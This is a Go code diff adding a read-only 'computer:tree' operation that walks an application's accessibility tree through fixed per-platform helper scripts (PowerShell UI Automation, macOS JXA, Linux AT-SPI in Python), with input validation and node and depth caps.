||||
if handlerOps[op].root != rootNone {
|
||||
t.Fatalf("%s must need no configured root", op)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The real thing, on this machine — same switch as TestScanAgentsLive.
|
||||
func TestComputerObserveLive(t *testing.T) {
|
||||
if os.Getenv("PRIVATAE_OBSERVE_LIVE") != "1" {
|
||||
t.Skip("set PRIVATAE_OBSERVE_LIVE=1 to read this machine")
|
||||
}
|
||||
inv := computerInventoryReport()
|
||||
t.Logf("inventory: platform=%s scan=%s supported=%v reason=%q apps=%d", inv.Platform, inv.Scan, inv.Supported, inv.Reason, len(inv.Apps))
|
||||
for i, a := range inv.Apps {
|
||||
if i >= 15 {
|
||||
break
|
||||
}
|
||||
t.Logf(" %-32s %-10s %-24s %s", a.Name, a.Version, a.Source, strings.Join(a.WaysIn, " · "))
|
||||
}
|
||||
win := computerWindowsReport()
|
||||
t.Logf("windows: scan=%s supported=%v reason=%q n=%d", win.Scan, win.Supported, win.Reason, len(win.Windows))
|
||||
for _, w := range win.Windows {
|
||||
t.Logf(" pid=%-7d app=%-16s focused=%-5v %s", w.PID, w.App, w.Focused, w.Title)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecOnPath(t *testing.T) {
|
||||
if execOnPath("") || execOnPath("/definitely/not/here/xyz") {
|
||||
t.Fatal("empty or missing program is never on PATH")
|
||||
}
|
||||
if execOnPath("/") {
|
||||
t.Fatal("a directory is not a program")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
package main
|
||||
|
||||
// computer:tree — the ACCESSIBILITY TREE of one application's windows: the
|
||||
// middle rung of the machine map. Where an app offers no
|
||||
// scripting door, this is how the host sees it: the app's OWN names for its
|
||||
// controls, their roles, whether they are enabled and where they are — text,
|
||||
// not pixels, and exact. It is a READ. Nothing here presses a button.
|
||||
//
|
||||
// Each OS has one accessibility API and one fixed helper that walks it:
|
||||
// Windows UI Automation, through PowerShell's UIAutomationClient assembly
|
||||
// (ships with .NET Framework on every Windows).
|
||||
// macOS the AX tree through System Events, in JXA (osascript -l
|
||||
// JavaScript). Needs the Accessibility permission, like
|
||||
// computer:windows.
|
||||
// Linux AT-SPI 2, through python3 + gi (Atspi). Absent → says so.
|
||||
//
|
||||
// "Leech, don't adopt": no COM, AX or D-Bus binding lands in the bastion; the
|
||||
// helper scripts are fixed strings, the target pid and the node cap travel in
|
||||
// the environment (never in argv, never interpolated), and the helper answers
|
||||
// JSON that this side re-validates and re-counts.
|
||||
//
|
||||
// Args (from the pod, validated here): [pid, max_nodes?]. pid must be a
|
||||
// positive integer that computer:windows or the agent scan reported — the
|
||||
// host names a window by its owner, never by guessing.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// The caps match the pod side (the host's machine map): a tree is answered to
|
||||
// the host through a 100 KB reply wall, and a real node is ~120 bytes, so
|
||||
// 500 nodes is what arrives whole. Fewer nodes also keeps the macOS walk (up
|
||||
// to nine Apple Events per node) inside the op's timeout.
|
||||
const (
|
||||
treeDefaultMaxNodes = 500
|
||||
treeMaxNodes = 800
|
||||
treeMaxDepth = 40
|
||||
treeMaxText = 120 // name / id / value are cut to this many characters
|
||||
)
|
||||
|
||||
// computerNode is one element of the tree. Keys are what a recorded step
|
||||
// addresses a control by: role + name (what a person sees), then the app's
|
||||
// own id when it has one. Bounds are screen pixels.
|
||||
type computerNode struct {
|
||||
Role string `json:"role"`
|
||||
Name string `json:"name,omitempty"`
|
||||
ID string `json:"id,omitempty"`
|
||||
Value string `json:"value,omitempty"`
|
||||
X int `json:"x,omitempty"`
|
||||
Y int `json:"y,omitempty"`
|
||||
W int `json:"w,omitempty"`
|
||||
H int `json:"h,omitempty"`
|
||||
Enabled *bool `json:"enabled,omitempty"`
|
||||
Focused bool `json:"focused,omitempty"`
|
||||
Offscreen bool `json:"offscreen,omitempty"`
|
||||
Children []*computerNode `json:"children,omitempty"`
|
||||
}
|
||||
|
||||
// treeReport is the wire shape. Windows are the app's top-level windows,
|
||||
// each a tree. node_count / truncated are recounted here, not trusted.
|
||||
type treeReport struct {
|
||||
Platform string `json:"platform"`
|
||||
Scan string `json:"scan"`
|
||||
Supported bool `json:"supported"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
ScannedAt string `json:"scanned_at"`
|
||||
PID int `json:"pid,omitempty"`
|
||||
App string `json:"app,omitempty"`
|
||||
NodeCount int `json:"node_count"`
|
||||
Truncated bool `json:"truncated,omitempty"`
|
||||
Windows []*computerNode `json:"windows,omitempty"`
|
||||
}
|
||||
|
||||
// helperTree is what every helper answers: {app, truncated, windows:[node…]}.
|
||||
type helperTree struct {
|
||||
App string `json:"app"`
|
||||
Truncated bool `json:"truncated"`
|
||||
Error string `json:"error"`
|
||||
Windows []*computerNode `json:"windows"`
|
||||
}
|
||||
|
||||
func parseTreeArgs(args []string) (pid, maxNodes int, err error) {
|
||||
if len(args) < 1 {
|
||||
return 0, 0, errors.New("computer:tree needs the owning pid (from computer:windows)")
|
||||
}
|
||||
pid, err = strconv.Atoi(strings.TrimSpace(args[0]))
|
||||
if err != nil || pid <= 1 {
|
||||
return 0, 0, errors.New("computer:tree: pid must be a positive integer")
|
||||
}
|
||||
maxNodes = treeDefaultMaxNodes
|
||||
if len(args) > 1 && strings.TrimSpace(args[1]) != "" {
|
||||
n, err := strconv.Atoi(strings.TrimSpace(args[1]))
|
||||
if err != nil || n <= 0 {
|
||||
return 0, 0, errors.New("computer:tree: max_nodes must be a positive integer")
|
||||
}
|
||||
if n > treeMaxNodes {
|
||||
n = treeMaxNodes
|
||||
}
|
||||
maxNodes = n
|
||||
}
|
||||
return pid, maxNodes, nil
|
||||
}
|
||||
|
||||
// boundTree recounts the helper's answer and enforces the node cap and depth
|
||||
// cap on THIS side too — the helper is trusted for nothing but the walk.
|
||||
func boundTree(wins []*computerNode, maxNodes int) (out []*computerNode, count int, truncated bool) {
|
||||
var walk func(n *computerNode, depth int) *computerNode
|
||||
walk = func(n *computerNode, depth int) *computerNode {
|
||||
if n == nil || count >= maxNodes || depth > treeMaxDepth {
|
||||
truncated = true
|
||||
return nil
|
||||
}
|
||||
count++
|
||||
c := *n
|
||||
c.Children = nil
|
||||
c.Name, c.ID, c.Value = cutRunes(c.Name, treeMaxText), cutRunes(c.ID, treeMaxText), cutRunes(c.Value, treeMaxText)
|
||||
for _, ch := range n.Children {
|
||||
if k := walk(ch, depth+1); k != nil {
|
||||
c.Children = append(c.Children, k)
|
||||
}
|
||||
}
|
||||
return &c
|
||||
}
|
||||
for _, w := range wins {
|
||||
if k := walk(w, 0); k != nil {
|
||||
out = append(out, k)
|
||||
}
|
||||
}
|
||||
return out, count, truncated
|
||||
}
|
||||
|
||||
func computerTreeReport(args []string) treeReport {
|
||||
rep := treeReport{Platform: runtime.GOOS, Scan: computerTreeKind,
|
||||
ScannedAt: time.Now().UTC().Format(time.RFC3339)}
|
||||
pid, maxNodes, err := parseTreeArgs(args)
|
||||
if err != nil {
|
||||
rep.Reason = err.Error()
|
||||
return rep
|
||||
}
|
||||
rep.PID = pid
|
||||
if !computerObserveSupported {
|
||||
rep.Reason = "no accessibility-tree reader for this platform"
|
||||
return rep
|
||||
}
|
||||
raw, err := readTree(pid, maxNodes)
|
||||
if err != nil {
|
||||
rep.Reason = err.Error()
|
||||
if strings.Contains(rep.Reason, "signal: killed") {
|
||||
// The helper hit the op's timeout: a busy app on macOS can cost
|
||||
// several Apple Events per node. Say what to do, not "killed".
|
||||
rep.Reason = "reading this app's tree took longer than the op allows — ask again with a smaller max_nodes"
|
||||
}
|
||||
return rep
|
||||
}
|
||||
var ht helperTree
|
||||
if err := json.Unmarshal(raw, &ht); err != nil {
|
||||
rep.Reason = "tree helper answered, not with a tree: " + truncate(err.Error(), 200)
|
||||
return rep
|
||||
}
|
||||
if ht.Error != "" {
|
||||
rep.Reason = ht.Error
|
||||
return rep
|
||||
}
|
||||
rep.Supported = true
|
||||
rep.App = ht.App
|
||||
rep.Windows, rep.NodeCount, rep.Truncated = boundTree(ht.Windows, maxNodes)
|
||||
rep.Truncated = rep.Truncated || ht.Truncated
|
||||
if rep.Windows == nil {
|
||||
rep.Windows = []*computerNode{}
|
||||
}
|
||||
return rep
|
||||
}
|
||||
|
||||
func handleComputerTree(ws *websocket.Conn, _ string, args []string) {
|
||||
rep := computerTreeReport(args)
|
||||
b, err := json.Marshal(rep)
|
||||
if err != nil {
|
||||
sendMgmt(ws, 'R', []byte("report: "+err.Error()+"\n"))
|
||||
sendMgmtExit(ws, 1)
|
||||
return
|
||||
}
|
||||
// A bad ARGUMENT is the caller's fault and reads as such (exit 2, the
|
||||
// usage-error convention); a blind box is still a true answer (exit 0).
|
||||
if !rep.Supported && rep.PID == 0 {
|
||||
sendMgmt(ws, 'R', []byte(rep.Reason+"\n"))
|
||||
sendMgmtExit(ws, 2)
|
||||
return
|
||||
}
|
||||
sendMgmt(ws, 'O', append(b, '\n'))
|
||||
sendMgmtExit(ws, 0)
|
||||
}
|
||||
|
||||
// cutRunes shortens a label to n characters on a character boundary — control
|
||||
// names are the user's language, and a byte cut would split a multibyte one.
|
||||
func cutRunes(s string, n int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= n {
|
||||
return s
|
||||
}
|
||||
return string(r[:n]) + "…"
|
||||
}
|
||||
|
||||
// helperEnv is the only channel a caller value takes into a helper.
|
||||
func helperEnv(pid, maxNodes int) []string {
|
||||
return []string{"PRIVATAE_TARGET_PID=" + strconv.Itoa(pid), "PRIVATAE_MAX_NODES=" + strconv.Itoa(maxNodes)}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import "errors"
|
||||
|
||||
// macOS: the AX tree through System Events, walked by a fixed JXA script
|
||||
// (osascript -l JavaScript). Every property read is one Apple Event, so the
|
||||
// node cap is what keeps a busy window inside the op's timeout. Needs the
|
||||
// Accessibility permission; the same two error codes computer:windows knows.
|
||||
|
||||
const computerTreeKind = "system-events-jxa"
|
||||
|
||||
const darwinTreeScript = `
|
||||
ObjC.import('stdlib');
|
||||
const targetPid = parseInt($.getenv('PRIVATAE_TARGET_PID'), 10);
|
||||
const maxNodes = parseInt($.getenv('PRIVATAE_MAX_NODES'), 10);
|
||||
const se = Application('System Events');
|
||||
let count = 0, trunc = false;
|
||||
function str(f) { try { const v = f(); return (v === null || v === undefined) ? '' : String(v); } catch (e) { return ''; } }
|
||||
function node(el, depth) {
|
||||
if (count >= maxNodes || depth > 40) { trunc = true; return null; }
|
||||
count++;
|
||||
const n = { role: str(() => el.role()).replace(/^AX/, '').toLowerCase() };
|
||||
const name = str(() => el.name()); if (name) n.name = name;
|
||||
const desc = str(() => el.description()); if (!name && desc) n.name = desc;
|
||||
const val = str(() => el.value()); if (val && val.length <= 200) n.value = val;
|
||||
try { const p = el.position(), s = el.size(); if (p && s) { n.x = p[0]; n.y = p[1]; n.w = s[0]; n.h = s[1]; } } catch (e) {}
|
||||
try { n.enabled = !!el.enabled(); } catch (e) {}
|
||||
try { if (el.focused()) n.focused = true; } catch (e) {}
|
||||
const kids = [];
|
||||
let children = [];
|
||||
try { children = el.uiElements(); } catch (e) {}
|
||||
for (const c of children) { const k = node(c, depth + 1); if (k) kids.push(k); if (trunc) break; }
|
||||
if (kids.length) n.children = kids;
|
||||
return n;
|
||||
}
|
||||
const procs = se.processes.whose({ unixId: targetPid })();
|
||||
if (!procs.length) { JSON.stringify({ error: 'no process with pid ' + targetPid }); }
|
||||
else {
|
||||
const p = procs[0];
|
||||
const wins = [];
|
||||
for (const w of p.windows()) { const t = node(w, 0); if (t) wins.push(t); }
|
||||
JSON.stringify({ app: str(() => p.name()), truncated: trunc, windows: wins });
|
||||
}
|
||||
`
|
||||
|
||||
func readTree(pid, maxNodes int) ([]byte, error) {
|
||||
out, err := runFixedEnv(helperEnv(pid, maxNodes), "osascript", "-l", "JavaScript", "-e", darwinTreeScript)
|
||||
if err != nil {
|
||||
return nil, errors.New(osascriptReason(execFailure(err)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
@@ -0,0 +1,107 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Linux: AT-SPI 2 through python3 + gi (Atspi), a fixed script. The
|
||||
// accessibility bus is per session and found through the X display, so the
|
||||
// display discovered for computer:windows is handed to the helper. A box
|
||||
// without the binding says so, with the package to install.
|
||||
|
||||
const computerTreeKind = "atspi-python"
|
||||
|
||||
const linuxTreeScript = `
|
||||
import json, os, sys
|
||||
try:
|
||||
import gi
|
||||
gi.require_version("Atspi", "2.0")
|
||||
from gi.repository import Atspi
|
||||
except Exception as e:
|
||||
print(json.dumps({"error": "AT-SPI binding not available: %s (install python3-gi and gir1.2-atspi-2.0)" % e})); sys.exit(0)
|
||||
pid = int(os.environ["PRIVATAE_TARGET_PID"]); cap = int(os.environ["PRIVATAE_MAX_NODES"])
|
||||
count = 0; trunc = False
|
||||
def node(el, depth):
|
||||
global count, trunc
|
||||
if count >= cap or depth > 40:
|
||||
trunc = True; return None
|
||||
count += 1
|
||||
n = {"role": Atspi.role_get_name(el.get_role()).replace(" ", "_")}
|
||||
name = el.get_name() or ""
|
||||
if name: n["name"] = name
|
||||
try:
|
||||
st = el.get_state_set()
|
||||
n["enabled"] = bool(st.contains(Atspi.StateType.ENABLED))
|
||||
if st.contains(Atspi.StateType.FOCUSED): n["focused"] = True
|
||||
if not st.contains(Atspi.StateType.SHOWING): n["offscreen"] = True
|
||||
except Exception: pass
|
||||
try:
|
||||
r = el.get_extents(Atspi.CoordType.SCREEN)
|
||||
if r.width or r.height: n.update(x=r.x, y=r.y, w=r.width, h=r.height)
|
||||
except Exception: pass
|
||||
try:
|
||||
# Accessible carries a deprecated zero-arg get_text() that shadows
|
||||
# Text.get_text(start, end) on the gi class, so call the interface
|
||||
# method explicitly.
|
||||
t = el.get_text_iface()
|
||||
if t is not None:
|
||||
v = Atspi.Text.get_text(t, 0, min(Atspi.Text.get_character_count(t), 200))
|
||||
if v: n["value"] = v
|
||||
except Exception: pass
|
||||
kids = []
|
||||
try:
|
||||
for i in range(el.get_child_count()):
|
||||
k = node(el.get_child_at_index(i), depth + 1)
|
||||
if k: kids.append(k)
|
||||
if trunc: break
|
||||
except Exception: pass
|
||||
if kids: n["children"] = kids
|
||||
return n
|
||||
def fail(msg):
|
||||
print(json.dumps({"error": msg})); sys.exit(0)
|
||||
try:
|
||||
desk = Atspi.get_desktop(0)
|
||||
n_apps = desk.get_child_count()
|
||||
except Exception as e:
|
||||
fail("could not reach the accessibility bus: %s" % e)
|
||||
app = None
|
||||
for i in range(n_apps):
|
||||
try:
|
||||
a = desk.get_child_at_index(i)
|
||||
if a is not None and a.get_process_id() == pid: app = a; break
|
||||
except Exception: continue
|
||||
if app is None:
|
||||
fail("pid %d has no AT-SPI application (not running, no toolkit support, or accessibility off)" % pid)
|
||||
wins = []
|
||||
try:
|
||||
for i in range(app.get_child_count()):
|
||||
w = node(app.get_child_at_index(i), 0)
|
||||
if w: wins.append(w)
|
||||
name = app.get_name() or ""
|
||||
except Exception as e:
|
||||
fail("the application stopped answering the accessibility bus: %s" % e)
|
||||
print(json.dumps({"app": name, "truncated": trunc, "windows": wins}))
|
||||
`
|
||||
|
||||
func readTree(pid, maxNodes int) ([]byte, error) {
|
||||
if !execOnPath("python3") {
|
||||
return nil, errors.New("python3 not installed — the AT-SPI reader needs python3 with gi (python3-gi, gir1.2-atspi-2.0)")
|
||||
}
|
||||
env := helperEnv(pid, maxNodes)
|
||||
if d := x11Display(); d != "" {
|
||||
env = append(env, "DISPLAY="+d)
|
||||
}
|
||||
out, err := runFixedEnv(env, "python3", "-c", linuxTreeScript)
|
||||
if err != nil {
|
||||
var ee *exec.ExitError
|
||||
if errors.As(err, &ee) && len(ee.Stderr) > 0 {
|
||||
return nil, errors.New("AT-SPI walk failed: " + truncate(strings.TrimSpace(string(ee.Stderr)), 300))
|
||||
}
|
||||
return nil, errors.New("python3 failed: " + err.Error())
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user